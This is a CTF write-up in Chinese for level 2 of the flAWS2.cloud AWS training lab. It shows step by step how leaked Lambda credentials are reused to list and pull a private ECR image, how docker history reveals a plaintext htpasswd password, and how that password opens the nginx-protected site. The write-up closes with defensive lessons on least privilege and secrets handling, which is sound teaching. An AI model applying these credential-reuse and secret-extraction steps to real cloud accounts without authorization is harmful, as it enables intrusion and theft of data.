flAWS2.cloud Level 2 Writeup — ECR 開放權限與 Docker Image 機敏資訊洩漏
靶場:flAWS2.cloud — Attacker Path
難度:★★☆☆☆(初級)
涉及服務:ECR (Elastic Container Registry)、ECS Fargate、nginx
0x00 題目概述
Level 2 的目標是一個跑在 container 上的網站 http://container.target.flaws2.cloud/,存取時回傳 401 Authorization Required,由 nginx 提供 HTTP Basic Auth 保護。題目提示 ECR repository 名稱為 level2。
$ curl -s http://container.target.flaws2.cloud/
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
0x01 偵察 — ECR Image 列舉
我們手上還有 Level 1 洩漏的 Lambda credentials(profile: flaws2),題目提示 ECR repository 叫 level2,直接列舉 image metadata:
$ aws ecr describe-images --repository-name level2 --region us-east-1 --profile flaws2
{
"imageDetails": [
{
"registryId": "653711331788",
"repositoryName": "level2",
"imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
"imageTags": ["latest"],
"imageSizeInBytes": 75937660,
"imagePushedAt": "2018-11-27T11:34:16+08:00"
}
]
}
成功取得 image 資訊,這代表 ECR 的權限設定允許我們用 Level 1 的 Lambda credentials 存取一個驗證 PIN 碼的 Lambda,為什麼能讀取 ECR?這就是過度授權的問題。
0x02 攻擊 — Pull Image 並分析 Layer
登入 ECR:
$ aws ecr get-login-password --region us-east-1 --profile flaws2 | \
docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
Login Succeeded
Pull image:
$ docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
...
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
Docker image 是分層(layer)架構,每一層對應 Dockerfile 中的一條指令,且不可變,即使後續 layer 刪除了檔案,歷史 layer 中的內容仍然可以被讀取。用 docker history 檢查所有歷史指令:
$ docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest --no-trunc
輸出中有一行極為關鍵:
/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
帳密直接以明文形式 bake 在 Dockerfile 的 RUN 指令中,Username 是 flaws2,Password 是 secret_password。
再用 docker inspect 確認環境變數:
$ docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest | grep -i -A5 "Env"
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
環境變數中沒有額外的 secrets,但 layer history 已經足以取得帳密。
0x03 利用 — 登入取得 Level 3 入口
使用提取到的帳密存取目標網站:
$ curl -s http://flaws2:[email protected]/
成功登入,頁面顯示 Level 3 入口:
http://level3-redacted.flaws2.cloud
0x04 攻擊鏈總結
Level 1 洩漏的 Lambda Credentials(仍有效)
↓
利用過度授權存取 ECR describe-images
↓
登入 ECR 並 Pull 整個 Container Image
↓
docker history 分析 Layer 歷史
↓
發現 htpasswd 指令中的明文帳密
↓
登入 nginx Basic Auth → 取得 Level 3 入口
0x05 Lessons Learned
1. ECR 權限控管不當
ECR repository 預設是 private,但可透過 resource-based policy 授予跨帳號或跨角色的存取權,本關中 Level 1 的 Lambda execution role 竟然能存取 ECR,顯然違反最小權限原則,正確做法是 ECR repository policy 應明確限制只有需要 pull image 的 ECS Task Role 或 CI/CD pipeline 才能存取,並定期用 aws ecr get-repository-policy 審計每個 repository 的權限。
2. Docker Image 中的 Secrets 洩漏
這是真實世界中極為常見的問題,Docker image 的分層架構意味著每一條 RUN、COPY、ADD 指令都會產生一個永久的、不可變的 layer,即使後續 layer 執行 rm 刪除檔案,資料仍存在於歷史 layer 中,常見的洩漏模式包括 RUN htpasswd 直接寫入密碼、COPY .env 把環境變數檔案複製進 image、COPY id_rsa 複製 SSH private key、ENV API_KEY=xxx 用環境變數設定 secrets 等等,正確做法是永遠不要把 secrets 寫進 Dockerfile 或 image,使用 AWS Secrets Manager 或 SSM Parameter Store 在 container runtime 動態注入,或使用 Docker BuildKit 的 --secret flag 處理 build-time secrets。
3. HTTP Basic Auth 搭配 Container 的風險
nginx 的 HTTP Basic Auth 搭配 .htpasswd 是最基本的存取控制,但如果 image 被拉走,攻擊者直接從 build history 就能拿到明文密碼,連 hash cracking 都不需要,在 container 化的環境中,認證機制應該與 image 分離,密碼應在 runtime 透過 secrets management 注入。
Member discussion